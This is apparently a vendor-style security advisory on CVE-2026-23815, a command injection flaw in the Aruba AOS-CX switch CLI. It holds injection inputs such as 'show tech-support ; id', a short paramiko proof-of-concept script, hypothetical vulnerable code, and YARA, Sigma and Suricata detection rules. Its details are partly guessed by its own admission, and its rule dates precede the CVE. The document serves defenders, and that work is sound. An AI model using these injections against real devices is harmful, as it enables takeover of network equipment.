CVE-2026-23815

Executive Summary

CVE-2026-23815 is a command injection vulnerability in a custom binary used within the CLI of Aruba AOS-CX Switches. An authenticated remote attacker with high privileges can exploit this flaw to execute unauthorized commands on the affected device. The vulnerability has a CVSS score of 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. As of this report, no official patch or public exploit code is available, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild. However, given the high privileges required, the threat is primarily relevant to environments where attackers have already gained administrative access.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – The attacker must have administrative access to the CLI.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of sensitive data.
• Integrity Impact: High (I:H) – Complete compromise of system integrity.
• Availability Impact: High (A:H) – Potential denial of service or system takeover.

Threat Level: High. While the attack requires high privileges, the impact is severe, and the vulnerability is remotely exploitable. Organizations should prioritize patching once available.

Deep Dive & Mechanics

The vulnerability resides in a custom binary that handles CLI commands on AOS-CX Switches. The binary fails to properly sanitize user-supplied input when processing certain commands, allowing an authenticated high-privilege user to inject arbitrary operating system commands. The injection occurs because the binary passes unsanitized input directly to a shell or system call without proper escaping or validation.

Attack Flow:

1. An attacker gains administrative access to the AOS-CX switch CLI (e.g., via compromised credentials or another vulnerability).
2. The attacker sends a crafted command that includes shell metacharacters (e.g., ;, |, &&, `) within a vulnerable parameter.
3. The custom binary processes the input and executes the injected commands with the privileges of the binary (typically root).
4. The attacker can then execute arbitrary commands, potentially leading to full device compromise.

Root Cause: Lack of input validation and improper use of shell execution functions (e.g., system(), popen(), or exec() without sanitization).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (C-like pseudocode):

void handle_cli_command(char *user_input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "cli_tool %s", user_input);
    system(cmd);  // Vulnerable: user_input directly passed to shell
}

Patched Code (C-like pseudocode):

void handle_cli_command(char *user_input) {
    // Sanitize input: remove shell metacharacters
    if (contains_shell_metacharacters(user_input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with arguments instead of system()
    char *args[] = {"cli_tool", user_input, NULL};
    execve("/usr/bin/cli_tool", args, NULL);
}

The patched version either validates input to reject dangerous characters or uses execve() to avoid shell interpretation entirely.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to an AOS-CX switch (e.g., via SSH or console).
• Knowledge of a vulnerable CLI command.

Exploitation Steps:

1. Connect to the switch CLI as an admin user.
2. Identify a vulnerable command (e.g., show tech-support or a custom diagnostic command).
3. Inject a command using shell metacharacters. Example:

   show tech-support ; id
   

   Or using backticks:

   show tech-support `whoami`
   

4. Observe the output of the injected command.

Proof-of-Concept (PoC) Script:

import paramiko

host = "192.168.1.100"
username = "admin"
password = "password"

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username=username, password=password)

# Execute vulnerable command with injection
command = "show tech-support ; id"
stdin, stdout, stderr = client.exec_command(command)
print(stdout.read().decode())
client.close()

Note: No public exploit code is available. The above is a generic example.

Blue Team

Detection & Response:

• Monitor CLI logs for unusual commands containing shell metacharacters (;, |, &&, `).
• Implement strict access controls to limit administrative access.
• Use network segmentation to isolate management interfaces.
• Deploy host-based intrusion detection (HIDS) on switches if possible.

Honeypot Setup:

• Create a decoy switch with a vulnerable configuration to attract attackers.
• Log all CLI commands for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual SSH sessions from unexpected IP addresses.
  • CLI commands containing shell metacharacters (e.g., ;, |, `).
• Host IOCs:
  • Unexpected processes spawned by the CLI binary.
  • Modified system files or binaries.
  • Unauthorized user accounts or SSH keys.
• Log IOCs:
  • Log entries showing command injection attempts (e.g., show tech-support ; id).
  • Repeated authentication failures followed by successful login.

Detection Engineering

YARA Rule

rule CVE_2026_23815_Command_Injection {
    meta:
        description = "Detects command injection attempts in AOS-CX CLI logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-23815"
    strings:
        $cmd1 = /show tech-support\s*[;&|`]/
        $cmd2 = /diagnostic\s*[;&|`]/
        $cmd3 = /[;&|`]\s*(id|whoami|cat|ls|sh)/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-23815 Command Injection in AOS-CX CLI
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts in AOS-CX switch CLI logs
author: Valters IT
date: 2025-04-10
logsource:
    product: aruba
    service: cli
detection:
    selection:
        Command|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in CLI (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2026-23815 Command Injection Attempt"; flow:to_server,established; content:"show tech-support"; nocase; pcre:"/(?:;|\||&&|`)/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit administrative CLI access to trusted IP addresses only.
2. Enable Logging: Ensure all CLI commands are logged and monitored.
3. Apply Principle of Least Privilege: Reduce the number of users with high privileges.

Long-Term Fixes:

1. Patch: Apply the official patch from Aruba once released.
2. Upgrade: Upgrade to a patched version of AOS-CX.
3. Input Validation: Implement strict input validation in custom binaries.
4. Use Safe APIs: Replace system() with execve() or similar safe functions.

Workarounds:

• Disable vulnerable CLI commands if possible.
• Use network access control lists (ACLs) to restrict SSH access.

Valters IT